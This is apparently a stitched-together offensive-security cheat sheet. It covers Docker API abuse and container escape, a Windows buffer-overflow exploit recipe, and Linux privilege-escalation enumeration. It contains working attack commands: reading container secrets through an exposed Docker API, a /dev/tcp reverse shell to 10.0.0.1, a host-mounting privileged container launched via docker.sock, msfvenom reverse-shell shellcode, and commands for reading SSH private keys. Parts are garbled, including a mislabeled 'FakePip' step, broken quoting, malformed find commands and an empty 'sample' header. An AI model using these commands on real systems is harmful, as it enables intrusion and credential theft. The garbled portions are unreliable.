LDAP - 389,636,3268, 3269

The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

2375, 2376 Docker

Step 1: External Reconnaissance

Identify Docker Versions: Use tools like docker or curl to enumerate the Docker API. For example:

bashCopycurl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

bashCopycurl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

bashCopycurl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

bashCopycurl -s --insecure https://tls-opendocker.socket:2376/services | jq

Step 2: Vulnerability Exploitation

Shellshock Vulnerability: Use a Docker image with a vulnerable Bash package (e.g., CVE-2014-6271) to exploit the Shellshock vulnerability. For example:
```
bashCopydocker build . -t vuln-wheezy
```
```
bashCopydocker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it -p 8080:80 vuln-wheezy:latest
```

Step 3: Privilege Escalation

FakePip Exploit: After gaining access to the container shell, use the FakePip exploit to escalate privileges. For example:
```
bashCopypython -c 'import os; os.system("python -c 'import os; os.system(\"/bin/sh -i > /dev/tcp/10.0.0.1/1234 0>&1\")'")'
```

Step 4: Docker Escape

Create a New Ubuntu Container: Use the docker.sock to create a new Ubuntu container with high privileges.

bashCopyrequest="POST /v1.39/containers/create HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: 12345\r\n\r\n{\"Image\":\"rastasheep/ubuntu-sshd:14.04\", \"HostConfig\":{\"Privileged\":true,\"Binds\":[\"/:/host\", \"/dev/log:/dev/log\"]}}" && echo -e $request | nc -U /var/run/docker.sock

bashCopyrequest="POST /v1.39/containers/<id>/start HTTP/1.0\r\n\r\n" && echo -e $request | nc -U /var/run/docker.sock

bashCopyecho -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock

bashCopyssh root@172.17.0.2

Tools and Resources

CDK (Container Docker Kit): A penetration testing toolkit for containers that can be downloaded from here.
Trivy: A tool for detecting known vulnerabilities in Docker images.
Falco: A tool for detecting Docker escapes.

Security Best Practices

Use Non-Root Access: By default, use non-root access to manage containers, as it is more secure than many other alternatives.
Regularly Update Images: Regularly update Docker images to ensure you have the latest security patches.
Use Secure Networking: Ensure that your Docker network settings are secure to prevent unauthorized access.

# BASIC GUIDE
1. Send "A"*1024
2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH
3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip"
4. Confirm the location with "B" and "C"
5. Check for badchars instead CCCC (ESP):
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
with script _badchars.py and
"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
	5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
		a. !mona config -set workingfolder c:\logs\%p
	    b. !mona bytearray -b "\x00\x0d"
	    c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
	    d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
	    e. In " data", before unicode chars it shows badchars.
 6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"

	6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
	6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f


7. Generate shellcode and place it:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"

msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode

8. Final buffer like:
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

################ sample 1 ################################################
#!/usr/bin/python

Find exploits - Searchsploit and Google

Where there are many exploits for software, use Google. It will automatically sort it by popularity.

# Remove dos-exploits

searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"

# Only search the title (exclude the path), add the -t

Suid misconfiguration

Binary with suid permission can be run by anyone, but when they are run they are run as root!

Example programs:

nmap
vim
nano

# SUID
find / -perm -4000 -type f 2>/dev/null

# ALL PERMS
find / -perm -777 -type f 2>/dev/null

# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul

# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.

mount -l

Cronjob

Look for anything that is owned by a privileged user but writable for you

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SSH Keys

Check all home directories

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
